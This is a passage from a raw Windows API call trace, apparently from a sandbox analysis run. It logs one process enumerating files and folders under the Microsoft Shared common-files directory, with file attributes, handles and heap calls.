nFileSizeHigh=0x0, nFileSizeLow=0xfa60, dwReserved0=0x0, dwReserved1=0x0, cFileName="EEINTL.DLL", cAlternateFileName="")) returned 1 [0142.953] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985418 [0142.953] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985418) returned 1 [0142.953] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985418 [0142.954] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985418) returned 1 [0142.954] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985418 [0142.954] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985418) returned 1 [0142.954] FindNextFileW (in: hFindFile=0x829c38, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x723f8e00, ftCreationTime.dwHighDateTime=0x1c2e156, ftLastAccessTime.dwLowDateTime=0xeed38550, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x723f8e00, ftLastWriteTime.dwHighDateTime=0x1c2e156, nFileSizeHigh=0x0, nFileSizeLow=0xfa60, dwReserved0=0x0, dwReserved1=0x0, cFileName="EEINTL.DLL", cAlternateFileName="")) returned 0 [0142.954] GetLastError () returned 0x12 [0142.954] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7ec24, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7ec24) returned 0x829c78 [0142.954] FindClose (in: hFindFile=0x829c38 | out: hFindFile=0x829c38) returned 1 [0142.954] FindNextFileW (in: hFindFile=0x829c78, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeed38550, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeed38550, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0142.954] FindNextFileW (in: hFindFile=0x829c78, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x723f8e00, ftCreationTime.dwHighDateTime=0x1c2e156, ftLastAccessTime.dwLowDateTime=0xeed38550, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x723f8e00, ftLastWriteTime.dwHighDateTime=0x1c2e156, nFileSizeHigh=0x0, nFileSizeLow=0xfa60, dwReserved0=0x0, dwReserved1=0x0, cFileName="EEINTL.DLL", cAlternateFileName="")) returned 1 [0142.954] FindNextFileW (in: hFindFile=0x829c78, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x723f8e00, ftCreationTime.dwHighDateTime=0x1c2e156, ftLastAccessTime.dwLowDateTime=0xeed38550, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x723f8e00, ftLastWriteTime.dwHighDateTime=0x1c2e156, nFileSizeHigh=0x0, nFileSizeLow=0xfa60, dwReserved0=0x0, dwReserved1=0x0, cFileName="EEINTL.DLL", cAlternateFileName="")) returned 0 [0142.954] GetLastError () returned 0x12 [0142.954] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985390) returned 1 [0142.954] FindClose (in: hFindFile=0x829c78 | out: hFindFile=0x829c78) returned 1 [0142.954] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x9851f8) returned 1 [0142.954] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985308) returned 1 [0142.954] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5d107e00, ftCreationTime.dwHighDateTime=0x1bb541c, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x5d107e00, ftLastWriteTime.dwHighDateTime=0x1bb541c, nFileSizeHigh=0x0, nFileSizeLow=0x9fd, dwReserved0=0x0, dwReserved1=0x0, cFileName="EQNEDT32.CNT", cAlternateFileName="")) returned 1 [0142.954] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28305200, ftCreationTime.dwHighDateTime=0x1c2f1c2, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x28305200, ftLastWriteTime.dwHighDateTime=0x1c2f1c2, nFileSizeHigh=0x0, nFileSizeLow=0x84a48, dwReserved0=0x0, dwReserved1=0x0, cFileName="EQNEDT32.EXE", cAlternateFileName="")) returned 1 [0142.954] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3acd3b00, ftCreationTime.dwHighDateTime=0x1c6cca0, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x3acd3b00, ftLastWriteTime.dwHighDateTime=0x1c6cca0, nFileSizeHigh=0x0, nFileSizeLow=0x236, dwReserved0=0x0, dwReserved1=0x0, cFileName="eqnedt32.exe.manifest", cAlternateFileName="")) returned 1 [0142.954] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3bd0200, ftCreationTime.dwHighDateTime=0x1be1298, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x3bd0200, ftLastWriteTime.dwHighDateTime=0x1be1298, nFileSizeHigh=0x0, nFileSizeLow=0x2b0b7, dwReserved0=0x0, dwReserved1=0x0, cFileName="EQNEDT32.HLP", cAlternateFileName="")) returned 1 [0142.954] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95fd7600, ftCreationTime.dwHighDateTime=0x1bc9dc7, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x95fd7600, ftLastWriteTime.dwHighDateTime=0x1bc9dc7, nFileSizeHigh=0x0, nFileSizeLow=0x1de8, dwReserved0=0x0, dwReserved1=0x0, cFileName="MTEXTRA.TTF", cAlternateFileName="")) returned 1 [0142.955] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95fd7600, ftCreationTime.dwHighDateTime=0x1bc9dc7, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x95fd7600, ftLastWriteTime.dwHighDateTime=0x1bc9dc7, nFileSizeHigh=0x0, nFileSizeLow=0x1de8, dwReserved0=0x0, dwReserved1=0x0, cFileName="MTEXTRA.TTF", cAlternateFileName="")) returned 0 [0142.955] GetLastError () returned 0x12 [0142.955] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985280) returned 1 [0142.955] FindClose (in: hFindFile=0x829bf8 | out: hFindFile=0x829bf8) returned 1 [0142.955] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x989ac8) returned 1 [0142.955] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985170) returned 1 [0142.955] FindNextFileW (in: hFindFile=0x829b38, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x58c7d970, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x58c7d970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x58c7d970, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EURO", cAlternateFileName="")) returned 1 [0142.955] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985170 [0142.955] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO" (normalized: "c:\\program files\\common files\\microsoft shared\\euro"), fInfoLevelId=0x0, lpFileInformation=0x1a7f090 | out: lpFileInformation=0x1a7f090*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x58c7d970, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x58c7d970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x58c7d970, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0142.974] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO" (normalized: "c:\\program files\\common files\\microsoft shared\\euro"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x198 [0142.974] SetFileTime (hFile=0x198, lpCreationTime=0x0, lpLastAccessTime=0x1a7f0d4, lpLastWriteTime=0x1a7f0d4) returned 0 [0142.974] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x4000) returned 0x98de90 [0142.974] DeviceIoControl (in: hDevice=0x198, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x98de90, nOutBufferSize=0x4000, lpBytesReturned=0x1a7f12c, lpOverlapped=0x0 | out: lpOutBuffer=0x98de90, lpBytesReturned=0x1a7f12c, lpOverlapped=0x0) returned 0 [0142.974] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x98de90) returned 1 [0142.974] NtClose (Handle=0x198) returned 0x0 [0142.975] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985170) returned 1 [0142.975] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985170 [0142.975] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985280 [0142.975] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985308 [0142.975] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7eedc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7eedc) returned 0x829bf8 [0142.975] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x58c7d970, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x58c7d970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x58c7d970, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0142.976] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6b4ffc00, ftCreationTime.dwHighDateTime=0x1cac1f6, ftLastAccessTime.dwLowDateTime=0x58c7d970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6b4ffc00, ftLastWriteTime.dwHighDateTime=0x1cac1f6, nFileSizeHigh=0x0, nFileSizeLow=0x7980, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOEURO.DLL", cAlternateFileName="")) returned 1 [0142.976] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x9851f8 [0142.976] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x9851f8) returned 1 [0142.976] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x9851f8 [0142.976] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x9851f8) returned 1 [0142.976] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x9851f8 [0142.976] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x9851f8) returned 1 [0142.976] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6b4ffc00, ftCreationTime.dwHighDateTime=0x1cac1f6, ftLastAccessTime.dwLowDateTime=0x58c7d970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6b4ffc00, ftLastWriteTime.dwHighDateTime=0x1cac1f6, nFileSizeHigh=0x0, nFileSizeLow=0x7980, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOEURO.DLL", cAlternateFileName="")) returned 0 [0142.976] GetLastError () returned 0x12 [0142.976] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7eedc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7eedc) returned 0x829c78 [0142.976] FindClose (in: hFindFile=0x829bf8 | out: hFindFile=0x829bf8) returned 1 [0142.976] FindNextFileW (in: hFindFile=0x829c78, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x58c7d970, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x58c7d970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x58c7d970, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0142.976] FindNextFileW (in: hFindFile=0x829c78, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6b4ffc00, ftCreationTime.dwHighDateTime=0x1cac1f6, ftLastAccessTime.dwLowDateTime=0x58c7d970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6b4ffc00, ftLastWriteTime.dwHighDateTime=0x1cac1f6, nFileSizeHigh=0x0, nFileSizeLow=0x7980, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOEURO.DLL", cAlternateFileName="")) returned 1 [0142.976] FindNextFileW (in: hFindFile=0x829c78, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6b4ffc00, ftCreationTime.dwHighDateTime=0x1cac1f6, ftLastAccessTime.dwLowDateTime=0x58c7d970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6b4ffc00, ftLastWriteTime.dwHighDateTime=0x1cac1f6, nFileSizeHigh=0x0, nFileSizeLow=0x7980, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOEURO.DLL", cAlternateFileName="")) returned 0 [0142.977] GetLastError () returned 0x12 [0142.977] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985308) returned 1 [0142.977] FindClose (in: hFindFile=0x829c78 | out: hFindFile=0x829c78) returned 1 [0142.977] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985280) returned 1 [0142.977] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985170) returned 1 [0142.977] FindNextFileW (in: hFindFile=0x829b38, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5969b6f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd9df3dc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd9df3dc0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Filters", cAlternateFileName="")) returned 1 [0142.977] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985170 [0142.977] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters" (normalized: "c:\\program files\\common files\\microsoft shared\\filters"), fInfoLevelId=0x0, lpFileInformation=0x1a7f090 | out: lpFileInformation=0x1a7f090*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5969b6f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd9df3dc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd9df3dc0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0142.979] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters" (normalized: "c:\\program files\\common files\\microsoft shared\\filters"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a0 [0142.979] SetFileTime (hFile=0x1a0, lpCreationTime=0x0, lpLastAccessTime=0x1a7f0d4, lpLastWriteTime=0x1a7f0d4) returned 0 [0142.979] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x4000) returned 0x98de90 [0142.979] DeviceIoControl (in: hDevice=0x1a0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x98de90, nOutBufferSize=0x4000, lpBytesReturned=0x1a7f12c, lpOverlapped=0x0 | out: lpOutBuffer=0x98de90, lpBytesReturned=0x1a7f12c, lpOverlapped=0x0) returned 0 [0142.979] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x98de90) returned 1 [0142.979] NtClose (Handle=0x1a0) returned 0x0 [0142.979] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985170) returned 1 [0142.980] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985170 [0142.980] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985280 [0142.980] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985308 [0142.980] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7eedc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7eedc) returned 0x829c78 [0142.980] FindNextFileW (in: hFindFile=0x829c78, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5969b6f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd9df3dc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd9df3dc0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0142.981] FindNextFileW (in: hFindFile=0x829c78, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e922100, ftCreationTime.dwHighDateTime=0x1caafc8, ftLastAccessTime.dwLowDateTime=0x69e61cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4e922100, ftLastWriteTime.dwHighDateTime=0x1caafc8, nFileSizeHigh=0x0, nFileSizeLow=0x9770, dwReserved0=0x0, dwReserved1=0x0, cFileName="msgfilt.dll", cAlternateFileName="")) returned 1 [0142.981] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x9851f8 [0142.981] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x9851f8) returned 1 [0142.981] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x9851f8 [0142.981] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x9851f8) returned 1 [0142.981] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x9851f8 [0142.981] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x9851f8) returned 1 [0142.981] FindNextFileW (in: hFindFile=0x829c78, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e922100, ftCreationTime.dwHighDateTime=0x1caafc8, ftLastAccessTime.dwLowDateTime=0x6b29d7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4e922100, ftLastWriteTime.dwHighDateTime=0x1caafc8, nFileSizeHigh=0x0, nFileSizeLow=0x140790, dwReserved0=0x0, dwReserved1=0x0, cFileName="odffilt.dll", cAlternateFileName="")) returned 1 [0142.981] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x9851f8 [0142.981] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x9851f8) returned 1 [0142.981] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x9851f8 [0142.981] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x9851f8) returned 1 [0142.981] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x9851f8 [0142.981] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x9851f8) returned 1 [0142.981] FindNextFileW (in: hFindFile=0x829c78, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e922100, ftCreationTime.dwHighDateTime=0x1caafc8, ftLastAccessTime.dwLowDateTime=0x596c1850, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4e922100, ftLastWriteTime.dwHighDateTime=0x1caafc8, nFileSizeHigh=0x0, nFileSizeLow=0x16af90, dwReserved0=0x0, dwReserved1=0x0, cFileName="offfiltx.dll", cAlternateFileName="")) returned 1 [0142.981] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x9851f8 [0142.981] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x9851f8) returned 1 [0142.981] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x9851f8 [0142.981] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x9851f8) returned 1 [0142.981] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x9851f8 [0142.981] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x9851f8) returned 1 [0142.981] FindNextFileW (in: hFindFile=0x829c78, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x46d35b00, ftCreationTime.dwHighDateTime=0x1cba077, ftLastAccessTime.dwLowDateTime=0xd9e40080, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x46d35b00, ftLastWriteTime.dwHighDateTime=0x1cba077, nFileSizeHigh=0x0, nFileSizeLow=0x206b78, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISFILT.DLL", cAlternateFileName="")) returned 1 [0142.981] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x9851f8 [0142.982] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x9851f8) returned 1 [0142.982] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x9851f8 [0142.982] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x9851f8) returned 1 [0142.982] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x9851f8 [0142.982] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x9851f8) returned 1 [0142.982] FindNextFileW (in: hFindFile=0x829c78, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x46d35b00, ftCreationTime.dwHighDateTime=0x1cba077, ftLastAccessTime.dwLowDateTime=0xd9e40080, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x46d35b00, ftLastWriteTime.dwHighDateTime=0x1cba077, nFileSizeHigh=0x0, nFileSizeLow=0x206b78, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISFILT.DLL", cAlternateFileName="")) returned 0 [0142.982] GetLastError () returned 0x12 [0142.982] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7eedc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7eedc) returned 0x829bf8 [0142.982] FindClose (in: hFindFile=0x829c78 | out: hFindFile=0x829c78) returned 1 [0142.982] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5969b6f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd9df3dc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd9df3dc0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0142.982] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e922100, ftCreationTime.dwHighDateTime=0x1caafc8, ftLastAccessTime.dwLowDateTime=0x69e61cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4e922100, ftLastWriteTime.dwHighDateTime=0x1caafc8, nFileSizeHigh=0x0, nFileSizeLow=0x9770, dwReserved0=0x0, dwReserved1=0x0, cFileName="msgfilt.dll", cAlternateFileName="")) returned 1 [0142.982] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e922100, ftCreationTime.dwHighDateTime=0x1caafc8, ftLastAccessTime.dwLowDateTime=0x6b29d7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4e922100, ftLastWriteTime.dwHighDateTime=0x1caafc8, nFileSizeHigh=0x0, nFileSizeLow=0x140790, dwReserved0=0x0, dwReserved1=0x0, cFileName="odffilt.dll", cAlternateFileName="")) returned 1 [0142.982] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e922100, ftCreationTime.dwHighDateTime=0x1caafc8, ftLastAccessTime.dwLowDateTime=0x596c1850, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4e922100, ftLastWriteTime.dwHighDateTime=0x1caafc8, nFileSizeHigh=0x0, nFileSizeLow=0x16af90, dwReserved0=0x0, dwReserved1=0x0, cFileName="offfiltx.dll", cAlternateFileName="")) returned 1 [0142.982] FindNextFileW (in: hFindFile=0x829bf8, 